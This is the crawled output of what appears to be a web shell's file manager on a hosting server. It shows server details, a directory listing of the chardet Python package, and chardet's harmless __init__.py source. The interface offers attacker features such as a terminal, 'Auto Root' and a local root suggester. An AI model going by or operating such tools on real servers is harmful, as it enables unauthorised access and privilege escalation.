Linux velvet.gennetworks.in 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
LiteSpeed
Server IP : 161.129.70.235 & Your IP : 216.73.216.5
Domains :
Cant Read [ /etc/named.conf ]
User : virtueex
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3.6 /
site-packages /
chardet /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2024-09-10 15:27
cli
[ DIR ]
drwxr-xr-x
2024-09-10 15:27
__init__.py
1.52
KB
-rw-r--r--
2017-04-13 00:11
big5freq.py
30.52
KB
-rw-r--r--
2017-04-11 23:21
big5prober.py
1.72
KB
-rw-r--r--
2017-04-11 23:21
chardistribution.py
9.19
KB
-rw-r--r--
2017-04-12 01:22
charsetgroupprober.py
3.7
KB
-rw-r--r--
2017-04-11 23:21
charsetprober.py
4.99
KB
-rw-r--r--
2017-06-08 19:51
codingstatemachine.py
3.51
KB
-rw-r--r--
2017-04-11 23:21
compat.py
1.11
KB
-rw-r--r--
2017-06-08 20:02
cp949prober.py
1.81
KB
-rw-r--r--
2017-04-11 23:21
enums.py
1.62
KB
-rw-r--r--
2017-04-11 23:21
escprober.py
3.86
KB
-rw-r--r--
2017-04-11 23:21
escsm.py
10.26
KB
-rw-r--r--
2017-04-11 23:21
eucjpprober.py
3.66
KB
-rw-r--r--
2017-04-11 23:21
euckrfreq.py
13.23
KB
-rw-r--r--
2017-04-11 23:21
euckrprober.py
1.71
KB
-rw-r--r--
2017-04-11 23:21
euctwfreq.py
30.88
KB
-rw-r--r--
2017-04-12 02:18
euctwprober.py
1.71
KB
-rw-r--r--
2017-04-11 23:21
gb2312freq.py
20.23
KB
-rw-r--r--
2017-04-11 23:21
gb2312prober.py
1.71
KB
-rw-r--r--
2017-04-11 23:21
hebrewprober.py
13.51
KB
-rw-r--r--
2017-06-08 19:51
jisfreq.py
25.17
KB
-rw-r--r--
2017-04-11 23:21
jpcntx.py
19.18
KB
-rw-r--r--
2017-04-11 23:21
langbulgarianmodel.py
12.54
KB
-rw-r--r--
2017-06-08 20:02
langcyrillicmodel.py
17.53
KB
-rw-r--r--
2017-06-08 20:02
langgreekmodel.py
12.39
KB
-rw-r--r--
2017-06-08 20:02
langhebrewmodel.py
11.08
KB
-rw-r--r--
2017-06-08 20:02
langhungarianmodel.py
12.3
KB
-rw-r--r--
2017-06-08 20:02
langthaimodel.py
11.03
KB
-rw-r--r--
2017-06-08 20:02
langturkishmodel.py
10.84
KB
-rw-r--r--
2017-06-08 20:02
latin1prober.py
5.24
KB
-rw-r--r--
2017-06-08 19:51
mbcharsetprober.py
3.33
KB
-rw-r--r--
2017-04-11 23:21
mbcsgroupprober.py
1.96
KB
-rw-r--r--
2017-04-11 23:21
mbcssm.py
24.88
KB
-rw-r--r--
2017-04-11 23:21
sbcharsetprober.py
5.52
KB
-rw-r--r--
2017-06-08 20:02
sbcsgroupprober.py
3.46
KB
-rw-r--r--
2017-06-08 20:02
sjisprober.py
3.69
KB
-rw-r--r--
2017-04-11 23:21
universaldetector.py
12.19
KB
-rw-r--r--
2017-06-08 20:02
utf8prober.py
2.7
KB
-rw-r--r--
2017-04-11 23:21
version.py
242
B
-rw-r--r--
2017-06-08 20:02
Save
Rename
######################## BEGIN LICENSE BLOCK ######################## # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .compat import PY2, PY3 from .universaldetector import UniversalDetector from .version import __version__, VERSION def detect(byte_str): """ Detect the encoding of the given byte string. :param byte_str: The byte sequence to examine. :type byte_str: ``bytes`` or ``bytearray`` """ if not isinstance(byte_str, bytearray): if not isinstance(byte_str, bytes): raise TypeError('Expected object of type bytes or bytearray, got: ' '{0}'.format(type(byte_str))) else: byte_str = bytearray(byte_str) detector = UniversalDetector() detector.feed(byte_str) return detector.close()